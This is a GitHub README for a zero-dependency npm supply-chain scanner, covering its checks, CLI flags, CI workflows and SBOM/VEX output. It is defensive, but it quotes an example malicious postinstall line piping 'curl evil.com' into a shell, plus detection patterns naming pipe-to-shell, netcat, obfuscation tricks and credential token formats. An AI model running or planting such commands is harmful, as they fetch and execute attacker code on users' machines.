Skip to content

sathyendrav/security-checker

@sathyendra/security-checker

Stop supply-chain attacks before they execute. One command. Zero dependencies. 18 security checks.

Table of Contents

npm version npm downloads license node GitHub stars GitHub issues zero dependencies

The Problem

Packages like event-stream, ua-parser-js, and coa were hijacked to run malicious postinstall scripts — stealing credentials, installing backdoors, and exfiltrating data. By the time npm install finishes, the damage is already done.

Traditional tools (npm audit) only check for known CVEs. They miss:

  • Typosquatted / hijacked packages hiding in your lockfile
  • Dropper packages that download malware via postinstall scripts
  • Tampered package.json files swapped after install
  • C2 (command & control) domains hardcoded in dependencies
  • Stolen npm tokens used to publish without CI/CD provenance

The Solution

npx @sathyendra/security-checker

That's it. One command scans your entire project for 18 categories of supply-chain threats — before any malicious code can execute.

Before vs After

Without sec-check — you run npm install and hope for the best:

$ npm install
added 847 packages in 12s
  ← malicious postinstall already ran, credentials stolen

With sec-check — threats are caught and blocked:

$ npx @sathyendra/security-checker

──────────────────────────────────────────────────────────────────────
  @sathyendra/security-checker — Diagnostic Report
──────────────────────────────────────────────────────────────────────
  🚨 CRITICAL: plain-crypto-js detected in node_modules       [FIXABLE]
  🚨 LOCKFILE: flatmap-stream found in dependency tree         [FIXABLE]
  🚨 DROPPER: suspicious-pkg has postinstall with curl | sh   [MANUAL]
  ⚠️  PROVENANCE: "axios@1.7.0" — Manual Publish Detected      [MANUAL]
  ⚠️  OUTDATED: lodash@3.10.1 — 2 major versions behind        [MANUAL]
──────────────────────────────────────────────────────────────────────
  5 threat(s) found | 2 fixable | 3 require manual review
  Run with --fix to auto-remediate fixable threats.
──────────────────────────────────────────────────────────────────────

Quick Start

# Scan any project (no install needed)
npx @sathyendra/security-checker

# Or install as a dev dependency
npm install --save-dev @sathyendra/security-checker

# Auto-fix what can be fixed
sec-check --fix

# Protect every future install (adds preinstall hook)
sec-check --init

# Full Zero Trust workflow: scan → safe install → verify
sec-check --shield

CLI Usage

sec-check               # Read-only scan — prints Diagnostic Report only
sec-check --fix         # Print report, then auto-remediate fixable threats
sec-check --pre         # Preinstall mode: lockfile + environment scan (no node_modules needed)
sec-check --post        # Post-install vetting: full scan after npm ci --ignore-scripts
sec-check --init        # Auto-configure package.json with preinstall & secure-install scripts
sec-check --approve <p> # Add package <p> to approved list (.sec-check-approved.json)
sec-check --shield      # Zero Trust Shield: pre-flight → isolated install → post-vetting
sec-check --shield --fix # Shield mode with auto-remediation in post-vetting stage
sec-check --json        # Output machine-readable JSON (for dashboards / VEX reports)
sec-check --vex-out     # Output CycloneDX VEX document (spec 1.6)
sec-check --sbom        # Generate CycloneDX SBOM (dependency inventory)
sec-check --update-db   # Fetch latest IOC database from trusted source
sec-check --help        # Show usage information

Exit codes:

  • 0 — No threats detected (clean)
  • 1 — One or more threats found (CI will fail)

Trust & Read-Only by Default

The tool never modifies your project unless you explicitly pass --fix. Every scan prints a Diagnostic Report first, showing all findings with [FIXABLE] or [MANUAL] tags so you know exactly what will happen before any action is taken.

──────────────────────────────────────────────────────────────────────
  @sathyendra/security-checker — Diagnostic Report
──────────────────────────────────────────────────────────────────────
  🚨 CRITICAL: plain-crypto-js detected in node_modules  [FIXABLE]
  🚨 PROVENANCE: "axios@1.7.0" — Manual Publish Detected   [MANUAL]
──────────────────────────────────────────────────────────────────────
  2 threat(s) found | 1 fixable | 1 require manual review
  Run with --fix to auto-remediate fixable threats.
──────────────────────────────────────────────────────────────────────

What --fix can remediate

Threat Fix action
Malicious npm packages npm uninstall <package>
npm audit vulnerabilities npm audit fix
Lockfile malicious packages npm uninstall <package>
Dropper packages npm uninstall <package> *
Integrity mismatches npm ci (clean reinstall)
Swap artifacts (package.md, .bak) Delete the artifact file
Mtime anomalies npm install <package> (reinstall) *

* Package names are validated against npm naming rules before being passed to shell commands. If a lockfile contains a suspiciously crafted name (possible command injection), the threat is downgraded to [MANUAL].

Threats that cannot be auto-fixed (always [MANUAL]): TeamPCP system artifacts, C2 hosts entries, PyPI packages, Python stagers, provenance issues, shadow execution indicators, outdated dependencies.

What it checks

Check Description
Malicious packages Detects known bad packages (e.g. plain-crypto-js) in node_modules
npm audit Flags high and critical severity vulnerabilities
Deep lockfile audit Recursively scans package-lock.json / yarn.lock for known malicious packages in the full dependency tree
Dropper detection Two-signal analysis: (1) structural — flags packages with postinstall/preinstall scripts but no real source code; (2) behavioral — analyzes install script content and referenced script files for suspicious patterns like obfuscated network requests (curl | sh, wget), sensitive path access (/etc/hosts, %PROGRAMDATA%), obfuscation (base64, eval, hex encoding), and child_process usage. Legitimate wrappers (e.g., node-gyp rebuild) are not flagged
Integrity checksums Compares installed package hashes against package-lock.json and the npm registry to detect post-install tampering or lockfile manipulation
Decoy swap detection Detects backup artifacts (package.md, .bak, .orig) and package.json modification time anomalies — the exact anti-forensic trick used in the Axios attack
TeamPCP / WAVESHAPER Scans for RAT drop artifacts, persistence mechanisms (scheduled tasks, LaunchAgents, systemd units), and Python backdoor stagers across Windows, macOS, and Linux (requires admin/root)
C2 domains Checks the system hosts file for all known TeamPCP C2 domain indicators (7+ domains tracked, extensible via --update-db)
Cross-ecosystem (PyPI) Scans requirements.txt, Pipfile, and Pipfile.lock for known malicious PyPI packages from the same TeamPCP campaign (LiteLLM, Telnyx, Trivy, KICS variants)
Python stager detection Flags suspicious .py files in Node.js project roots that contain backdoor-like patterns (subprocess, socket, exec, base64)
Malicious .pth files Scans Python site-packages (system + local venvs) for .pth files with executable import lines containing base64, subprocess, exec/eval, or network calls — the "importless" execution technique used by TeamPCP. Only triggered when a Python dependency file (requirements.txt, Pipfile, etc.) is present
Provenance verification Checks high-profile packages (axios, lodash, express, etc.) for npm provenance attestations. Flags "Suspicious: Manual Publish Detected" when a popular package is published without a CI/CD pipeline link or GitHub repository — a sign of stolen npm token usage
Shadow execution detection Detects process-level execution hijacking: LD_PRELOAD (Linux), DYLD_INSERT_LIBRARIES (macOS), NODE_OPTIONS --require injection, and suspicious parent processes (netcat, mshta, wscript, and other LOLBins that indicate a reverse shell or stager chain)
Outdated dependencies Flags packages where the installed version is one or more major versions behind the latest release (OWASP A06). Major version drift often means the package no longer receives security patches
Registry configuration Detects Dependency Confusion risks (OWASP A08) by verifying the configured npm registry is the official https://registry.npmjs.org. Checks project .npmrc, user ~/.npmrc, npm config get registry, and package-lock.json resolved URLs for non-official registry hosts
Lifecycle script injection Scans the project's own package.json lifecycle hooks (postinstall, preinstall, prestart, etc.) for command injection patterns (OWASP A03): curl | sh, wget, sensitive path access (/etc/hosts, %APPDATA%, %PROGRAMDATA%), obfuscation (base64, eval), and remote code execution. Recommends npm install --ignore-scripts during vetting
npm doctor Runs npm doctor and flags failing checks — permission issues in node_modules, cache corruption, unreachable registry, missing git (OWASP A05)
Lockfile enforcement Alerts if the project has no package-lock.json, yarn.lock, or pnpm-lock.yaml — builds without a lockfile are non-deterministic and vulnerable to latest-version poisoning (OWASP A05). Auto-fixable via npm install --package-lock-only
Secrets detection Scans for .env files (.env, .env.production, .env.local, etc.) and hardcoded credentials in source files: NPM_TOKEN, AWS keys, GitHub tokens (ghp_, gho_, ghs_, ghr_), PEM private keys, DATABASE_URL, API_KEY, and hardcoded passwords (OWASP A05)
SSRF / C2 blocklist scan Scans installed packages in node_modules/ for hardcoded URLs and IP addresses pointing to known C2 / malware infrastructure (OWASP A10). Matches against the full TeamPCP domain blocklist (7+ domains) plus known malicious IPs. Extensible via --update-db. Private/loopback IPs are excluded to avoid false positives
Environment check Scans process environment variables for install-time threats (OWASP A05): LD_PRELOAD / DYLD_INSERT_LIBRARIES (library preload hijacking), NODE_OPTIONS --require (module injection), npm_config_registry (env-level Dependency Confusion), NODE_EXTRA_CA_CERTS (custom CA for MITM), and http_proxy / https_proxy pointing to non-localhost hosts (proxy MITM risk). Localhost proxies are excluded
Dependency script sandboxing Scans lifecycle scripts (preinstall, install, postinstall, preuninstall, uninstall, postuninstall, prepare) of ALL dependencies in node_modules/ for risky patterns: curl, wget, eval(), base64, Function(), exec(), child_process, node -e, python -c, pipe-to-shell. Approved packages (.sec-check-approved.json) are skipped. Use sec-check --approve <pkg> to allowlist vetted packages (OWASP A03)
Lockfile Sentinel Compares every package's integrity hash in package-lock.json against a database of known-compromised hashes. Also flags packages with missing integrity hashes — no hash means no tamper detection. Auto-fixable via npm install --package-lock-only (OWASP A08)

Preinstall Mode (--pre)

A lightweight mode specifically designed for the preinstall npm hook. It focuses on the lockfile and environment rather than node_modules (which may not exist yet during preinstall).

# Run as a standalone pre-check
sec-check --pre

# Machine-readable output for CI/CD
sec-check --pre --json

Checks performed:

  1. Lockfile integrity — scan package-lock.json for known malicious packages
  2. Registry Guard — ensure registry is official registry.npmjs.org, reject HTTP registries (A05/A08)
  3. Environment — check for suspicious env vars (LD_PRELOAD, proxy MITM, CA injection, npm_config_registry override)
  4. Lifecycle scripts — flag injection patterns in the project's package.json
  5. Lockfile presence — warn if no lockfile exists
  6. Lockfile Sentinel — compare lockfile hashes against known-compromised database (A08)

Add to your package.json to run automatically before every install:

{
  "scripts": {
    "preinstall": "npx @sathyendra/security-checker --pre"
  }
}

Example output:

──────────────────────────────────────────────────────────────────────
  🛡️  Preinstall Shield — scanning lockfile & environment
──────────────────────────────────────────────────────────────────────

  ✅ Preinstall checks passed — safe to proceed with npm install

Auto-Setup (--init)

Automatically configure your package.json with security scripts in one command:

sec-check --init

This adds the following scripts:

{
  "scripts": {
    "preinstall": "sec-check --pre",
    "secure-install": "npm install --ignore-scripts && sec-check"
  }
}
Script Purpose
preinstall Runs automatically before every npm install — scans the lockfile and environment for threats before any packages are downloaded
secure-install Manual alternative to npm install — downloads packages with scripts disabled, then runs a full security scan

Existing scripts are never overwritten. If a script already exists, --init will skip it and show what it wanted to add so you can merge manually.

Example output:

✅ Added the following scripts to package.json:

   "preinstall": "sec-check --pre"
   "secure-install": "npm install --ignore-scripts && sec-check"

Dependency Script Sandboxing (--approve)

Step 17 of the full scan automatically scans the scripts section of every dependency in node_modules/ for risky patterns in lifecycle hooks (preinstall, install, postinstall, preuninstall, uninstall, postuninstall, prepare). Non-auto hooks like test and start are ignored.

Flagged patterns: curl, wget, eval(), base64, Function(), Invoke-WebRequest, exec(), child_process, node -e, python -c, pipe-to-shell (| sh, | bash).

Approving packages

When a dependency is flagged, vet it manually and approve it:

sec-check --approve husky
sec-check --approve @scope/my-pkg

Approved packages are stored in .sec-check-approved.json (project-local, safe to commit):

{
  "approved": ["husky", "@scope/my-pkg"],
  "approvedAt": {
    "husky": "2025-01-15T12:00:00.000Z",
    "@scope/my-pkg": "2025-01-15T12:00:00.000Z"
  }
}

Example scan output:

──────────────────────────────────────────────────────────────────────
  @sathyendra/security-checker — Diagnostic Report
──────────────────────────────────────────────────────────────────────
  ⚠️  DEP_SCRIPT: "shady-pkg" has risky lifecycle script(s):
     "postinstall" (curl, pipe to shell) — vet and run
     `sec-check --approve shady-pkg` to allowlist (OWASP A03)  [MANUAL]
──────────────────────────────────────────────────────────────────────

OWASP Risk Mapping

Three consolidated Shield features map directly to OWASP Top 10 risk categories:

OWASP Risk Shield Feature Technical Implementation
A03: Injection Script Blocker Detects and flags dangerous commands in package.json lifecycle hooks before execution
A05: Security Misconfiguration Registry Guard Rejects the install if a non-official or unencrypted (HTTP) registry is detected in .npmrc
A08: Software & Data Integrity Failures Lockfile Sentinel Compares the lockfile's package hashes against a known "clean" database before npm install runs

All three features are wired into the Shield pre-flight (Stage 1) and Preinstall Mode (--pre). Any finding from these features triggers a blocking exit (exit 1).

Script Blocker (A03: Injection)

Aggregates both project lifecycle scripts and dependency lifecycle scripts into a single blocking verdict. Internally it runs checkLifecycleScripts() (your own package.json) and checkDependencyScripts() (every package in node_modules/).

const { scriptBlocker } = require('@sathyendra/security-checker');
const result = scriptBlocker();
// result.blocked  — true if any injection detected
// result.threats  — array of threat objects
// result.summary  — { project: <count>, dependencies: <count> }

Blocked patterns include: curl | sh, wget, eval(), base64, Function(), child_process, node -e, python -c, and pipe-to-shell constructs.

Registry Guard (A05: Security Misconfiguration)

Enhanced registry validation that checks four layers for non-official or unencrypted (HTTP) registries:

  1. Project .npmrc — scans <project>/.npmrc for custom registries
  2. User ~/.npmrc — scans <home>/.npmrc for global overrides
  3. npm config get registry — checks the effective npm configuration
  4. Lockfile resolved URLs — scans every resolved URL in package-lock.json for HTTP hosts
const { registryGuard } = require('@sathyendra/security-checker');
const result = registryGuard();
// result.blocked  — true if any registry misconfiguration detected
// result.threats  — array of threat objects
// result.summary  — { nonOfficial: <count>, httpInsecure: <count> }

Any http:// registry URL is flagged as REGISTRY_HTTP (critical) — unencrypted registries allow man-in-the-middle package injection.

Lockfile Sentinel (A08: Software & Data Integrity Failures)

Parses package-lock.json and compares every package's integrity hash against a database of known-compromised hashes. Also flags packages with no integrity hash (missing hash = no tamper detection).

const { lockfileSentinel } = require('@sathyendra/security-checker');
const threats = [];
lockfileSentinel(threats);
// threats now contains any LOCKFILE_INTEGRITY findings

The compromised hash database is composed of:

  • Hardcoded baseline — built into the scanner (empty by default, extensible)
  • IOC database — extended via sec-check --update-db (the compromisedHashes field in ioc-db.json)

Findings are auto-fixable via npm install --package-lock-only (regenerates the lockfile with fresh hashes from the registry).

Zero Trust Shield (--shield)

The Shield mode replaces the traditional npm installnpm test workflow with a three-stage defense-in-depth install:

┌─────────────────────────────────────────────────────────────────┐
│  Stage 1 — Pre-flight                                          │
│  Scan lockfile & config BEFORE any packages are downloaded.    │
│  Catches: malicious lockfile entries, registry misconfiguration,│
│  lifecycle script injection, secrets leakage, PyPI threats,    │
│  HTTP registries, compromised lockfile hashes.                 │
│  ❌ Blocks on: CRITICAL, LOCKFILE, SECRETS, LIFECYCLE_SCRIPT,  │
│  DEP_SCRIPT, REGISTRY, REGISTRY_HTTP, LOCKFILE_INTEGRITY.      │
├─────────────────────────────────────────────────────────────────┤
│  Stage 2 — Isolated Install                                    │
│  npm install --ignore-scripts                                  │
│  Downloads code to disk WITHOUT executing lifecycle hooks.     │
│  Blocks dropper-style attacks (e.g. Axios postinstall payload).│
├─────────────────────────────────────────────────────────────────┤
│  Stage 3 — Post-vetting                                        │
│  Full check() scan on the downloaded files.                    │
│  Integrity verification, SSRF indicators, swap detection,     │
│  provenance audit, shadow execution, npm doctor, etc.          │
│  Combine with --fix to auto-remediate fixable threats.         │
└─────────────────────────────────────────────────────────────────┘
# Basic shield mode — scan, install safely, verify
sec-check --shield

# Shield with auto-fix — remediate fixable threats in post-vetting
sec-check --shield --fix

# Shield with JSON output for CI/CD pipelines
sec-check --shield --json

Example output:

──────────────────────────────────────────────────────────────────────
  🛡️  @sathyendra/security-checker — Zero Trust Shield
──────────────────────────────────────────────────────────────────────

  ▸ Stage 1: Pre-flight — scanning lockfile & configuration...
    ✅ Pre-flight passed — no threats in lockfile or configuration

  ▸ Stage 2: Isolated Install — downloading packages (scripts disabled)...
    ✅ Packages downloaded with scripts disabled

  ▸ Stage 3: Post-vetting — full integrity & security scan...
    ✅ Post-vetting passed — all packages verified

──────────────────────────────────────────────────────────────────────
  🛡️  Shield Summary
──────────────────────────────────────────────────────────────────────
  Stage 1 (Pre-flight):    0 threat(s)
  Stage 2 (Install):       ✅ success
  Stage 3 (Post-vetting):  0 new threat(s)
──────────────────────────────────────────────────────────────────────
  ✅ All stages passed — project is clean
──────────────────────────────────────────────────────────────────────

Machine-Readable JSON Output

Use --json to output structured results suitable for security dashboards, CI/CD artifact collection, and VEX (Vulnerability Exploitability eXchange) report generation:

sec-check --json

Example output:

{
  "threats": [
    {
      "message": "CRITICAL: plain-crypto-js detected in node_modules",
      "category": "CRITICAL",
      "fixable": true,
      "fixDescription": "npm uninstall plain-crypto-js"
    }
  ],
  "summary": {
    "total": 1,
    "fixable": 1,
    "manual": 0,
    "clean": false
  },
  "metadata": {
    "tool": "@sathyendra/security-checker",
    "version": "1.9.0",
    "timestamp": "2025-06-09T12:00:00.000Z",
    "project": "my-app",
    "platform": "win32",
    "node": "v22.0.0"
  }
}

The exit code follows the same convention: 0 when clean, 1 when threats are found. Combine with --fix to also run auto-remediation before outputting JSON.

Pipe to your VEX toolchain:

sec-check --json > scan-results.json
sec-check --json | jq '.threats[] | select(.category == "CRITICAL")'

CycloneDX VEX Report

Use --vex-out to output a standards-compliant CycloneDX VEX document (spec 1.6). This makes your scan results directly consumable by enterprise tools like OWASP Dependency-Track, Grype, and Trivy — no post-processing required.

sec-check --vex-out
sec-check --vex-out > vex-report.json

Example output (truncated):

{
  "bomFormat": "CycloneDX",
  "specVersion": "1.6",
  "version": 1,
  "serialNumber": "urn:uuid:a1b2c3d4-...",
  "metadata": {
    "timestamp": "2026-04-02T12:00:00.000Z",
    "tools": {
      "components": [
        {
          "type": "application",
          "name": "@sathyendra/security-checker",
          "version": "1.12.0"
        }
      ]
    },
    "component": {
      "type": "application",
      "name": "my-app",
      "bom-ref": "my-app"
    }
  },
  "vulnerabilities": [
    {
      "id": "SEC-CHECK-CRITICAL-3f2a1b4c",
      "source": {
        "name": "@sathyendra/security-checker",
        "url": "https://github.com/sathyendrav/security-checker"
      },
      "ratings": [{ "severity": "critical", "method": "other" }],
      "description": "CRITICAL: plain-crypto-js detected in node_modules",
      "recommendation": "npm uninstall plain-crypto-js",
      "analysis": {
        "state": "exploitable",
        "response": ["update"]
      },
      "affects": [{ "ref": "my-app" }]
    }
  ]
}

Each vulnerability receives a deterministic ID (SEC-CHECK-<CATEGORY>-<hash>) based on the threat message, so the same finding always produces the same ID across runs. The analysis.response field maps to "update" for fixable threats and "can_not_fix" for manual-only threats.

Feed VEX output into your SBOM pipeline:

# Ingest into OWASP Dependency-Track
sec-check --vex-out | curl -X POST https://dtrack.example.com/api/v1/vex \
  -H 'Content-Type: application/json' -H "X-Api-Key: $DTRACK_KEY" -d @-

# Combine with --fix for remediate-then-report workflows
sec-check --fix --vex-out > vex-report.json

CycloneDX SBOM Generation

Use --sbom to generate a CycloneDX Software Bill of Materials (SBOM) listing every dependency in your project. This gives you a machine-readable inventory of your supply chain — a key requirement for OWASP A06 compliance and executive orders like EO 14028.

sec-check --sbom
sec-check --sbom > sbom.json

The SBOM is generated from package-lock.json and includes:

  • Every dependency (direct and transitive) with name, version, and scope
  • Package URLs (purl) in the standard pkg:npm/ format for cross-tool interoperability
  • Integrity hashes extracted from the lockfile (SHA-512 → hex-encoded)
  • Tool metadata identifying @sathyendra/security-checker as the generator

The --sbom flag does not run a security scan — it only produces the component inventory. Combine with --vex-out in your pipeline for a complete picture:

# Generate SBOM + VEX in one pipeline
sec-check --sbom > sbom.json && sec-check --vex-out > vex.json

# Feed both into OWASP Dependency-Track
curl -F "bom=@sbom.json" https://dtrack.example.com/api/v1/bom
curl -F "vex=@vex.json" https://dtrack.example.com/api/v1/vex

Dynamic IOC Updates

TeamPCP is known for rapidly rotating C2 domains and typosquatting new package names. Instead of waiting for a full npm release, you can fetch the latest Indicators of Compromise (IOCs) on demand:

sec-check --update-db

This fetches a JSON IOC list from a trusted HTTPS source (the ioc-db.json file in the maintainer's GitHub repository by default) and caches it locally at ~/.sec-check/ioc-db.json. On every scan, the cached IOCs are merged with the hardcoded baseline — the built-in lists are never replaced or reduced, only extended.

Security constraints:

  • Only HTTPS URLs are accepted (no HTTP, file://, or data:)
  • Response size is capped at 512 KB
  • Ed25519 signature verification — the fetched ioc-db.json must have a matching .sig file signed by the maintainer's private key. The public key is hardcoded in the scanner. This prevents a compromised GitHub account from pushing a malicious IOC database that whitelists attacker domains.
  • Domain and package name entries are validated before caching
  • Invalid individual entries are silently filtered (don't reject the whole update)

Override the source URL by setting the SEC_CHECK_IOC_URL environment variable:

SEC_CHECK_IOC_URL=https://example.com/my-iocs.json sec-check --update-db

When using a custom IOC URL, signature verification is enforced by default (the .sig file must exist at <url>.sig). If you trust your own source and don't want to sign, set SEC_CHECK_IOC_SKIP_VERIFY=1:

SEC_CHECK_IOC_URL=https://internal.corp/iocs.json SEC_CHECK_IOC_SKIP_VERIFY=1 sec-check --update-db

The expected JSON format:

{
  "c2Domains": ["evil-domain.com", "another-bad.net"],
  "maliciousNpmPackages": ["typosquat-axios"],
  "maliciousPypiPackages": ["fake-litellm"]
}

Permissions

TeamPCP/WAVESHAPER artifact detection requires admin (Windows) or root (Unix/macOS). Without elevated permissions the tool still runs all other checks but emits a warning and skips system-level artifact scans.

Use in CI/CD

Add to your GitHub Actions workflow:

- name: Security scan
  run: npx @sathyendra/security-checker

Exits 1 on any threat, blocking the pipeline.

CI Enforcement: Three-Stage Shield

For maximum protection, enforce a pre → install → post workflow that prevents any unvetted code from executing. This replaces the traditional npm cinpm test pipeline with a defense-in-depth install:

- name: Enforce Security Shield
  run: |
    npx @sathyendra/security-checker --pre
    npm ci --ignore-scripts
    npx @sathyendra/security-checker --post
Step What it does Hard fail?
--pre Scans lockfile, registry config, env vars, lifecycle scripts, and lockfile hashes before any packages are downloaded Yes — exit 1 on any critical threat (TeamPCP, compromised hash, HTTP registry, injection)
npm ci --ignore-scripts Downloads packages to disk without executing lifecycle hooks (blocks dropper payloads) N/A
--post Full integrity & security scan on the installed files: provenance, SSRF indicators, swap detection, dependency script vetting, and all other checks Yes — exit 1 on any finding

Combine --post with --fix to auto-remediate fixable threats before failing:

- name: Enforce Security Shield (with auto-fix)
  run: |
    npx @sathyendra/security-checker --pre
    npm ci --ignore-scripts
    npx @sathyendra/security-checker --post --fix

For machine-readable output in CI artifacts:

- name: Security Shield (JSON)
  run: |
    npx @sathyendra/security-checker --pre --json > pre-scan.json
    npm ci --ignore-scripts
    npx @sathyendra/security-checker --post --json > post-scan.json
- uses: actions/upload-artifact@v4
  with:
    name: security-reports
    path: |
      pre-scan.json
      post-scan.json

Hard Fail Behavior

Both --pre and --post are opinionated — they exit with code 1 whenever threats are detected. There is no "warn-only" mode. This is by design: a supply-chain security tool that can be silently bypassed provides a false sense of security.

Blocking categories that trigger a hard fail:

Category Example
CRITICAL Known malicious package (e.g. plain-crypto-js)
LOCKFILE Malicious package in package-lock.json dependency tree
SECRETS .env file or hardcoded NPM_TOKEN / AWS key
LIFECYCLE_SCRIPT postinstall: "curl evil.com | sh" in project scripts
DEP_SCRIPT Risky lifecycle script in a dependency package
REGISTRY Non-official npm registry (Dependency Confusion risk)
REGISTRY_HTTP Unencrypted http:// registry (MITM risk)
LOCKFILE_INTEGRITY Compromised hash or missing integrity in lockfile

Preinstall strategy

Adding this package to your project's preinstall script ensures it runs before any dependency postinstall scripts:

{
  "scripts": {
    "preinstall": "sec-check"
  }
}

False positives & tuning

sec-check is intentionally strict. If a legitimate package is flagged, here's how to handle each case.

Allowlisting a dependency's lifecycle scripts

If a package is flagged by the Dependency Script Sandboxing check (e.g. husky, electron, node-gyp) and you have manually verified it is safe:

sec-check --approve husky
sec-check --approve electron

Approved packages are stored in .sec-check-approved.json at your project root. This file is safe to commit:

{
  "approved": ["husky", "electron"],
  "approvedAt": {
    "husky": "2026-01-15T12:00:00.000Z",
    "electron": "2026-01-15T12:00:00.000Z"
  }
}

Approval is intentionally scoped to a single project. A package approved in one repo is not automatically trusted in another.

Provenance false positives

The Provenance verification check flags popular packages (axios, lodash, express, etc.) that lack a CI/CD provenance attestation. Most older versions pre-date npm provenance. To silence this for a specific package:

sec-check --approve axios

Or, if your project uses private packages that are intentionally published without provenance, approve them as above.

RAT artifact check not running (non-admin)

If you see:

⚠️  Running without admin/root — RAT artifact scans may miss indicators

This is expected on developer machines. The scan still runs all other checks. To also run RAT scans:

  • Windows: open the terminal as Administrator
  • macOS / Linux: prefix with sudo

In CI, most runners execute as root / with admin — the warning will not appear.

Outdated dependency noise

The Outdated dependencies check flags packages that are one or more major versions behind the latest release. If your project intentionally pins an older major (e.g. React 17 while v19 is out), you can:

  1. Accept the warning — it does not cause a hard fail (it is [MANUAL], not [CRITICAL])
  2. Approve the package to silence it:
sec-check --approve react

npm audit false positives

If npm audit reports vulnerabilities that have been assessed as not exploitable in your context, use npm's built-in audit suppression:

npm audit --audit-level=critical   # raise the threshold

sec-check respects the high threshold by default. Vulnerabilities below high severity are not surfaced.

Environment / proxy warnings

If your network routes traffic through a corporate proxy (http_proxy / https_proxy), the Environment check may flag it as a MITM risk. To suppress this, ensure your proxy variable points to localhost or a verified internal host:

# Verified internal proxy — not flagged
https_proxy=http://proxy.corp.example.com:8080

# Unknown external proxy — flagged
https_proxy=http://1.2.3.4:3128

There is no suppress flag for proxy warnings — review the proxy host before deploying.

Custom / private npm registry

If your project uses a private registry (Verdaccio, Artifactory, GitHub Packages), the Registry Guard check will flag it as a potential Dependency Confusion risk and the HTTP registry check will flag any http:// URL.

For HTTPS private registries, no action is needed beyond acknowledging the [MANUAL] warning — a private HTTPS registry is not blocked. For HTTP internal registries, migrate to HTTPS. There is no bypass for REGISTRY_HTTP findings.


License

MIT

About

Zero-dependency Node.js CLI tool that scans projects for supply-chain threats, malware artifacts, and misconfigurations

Resources

License

Code of conduct

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors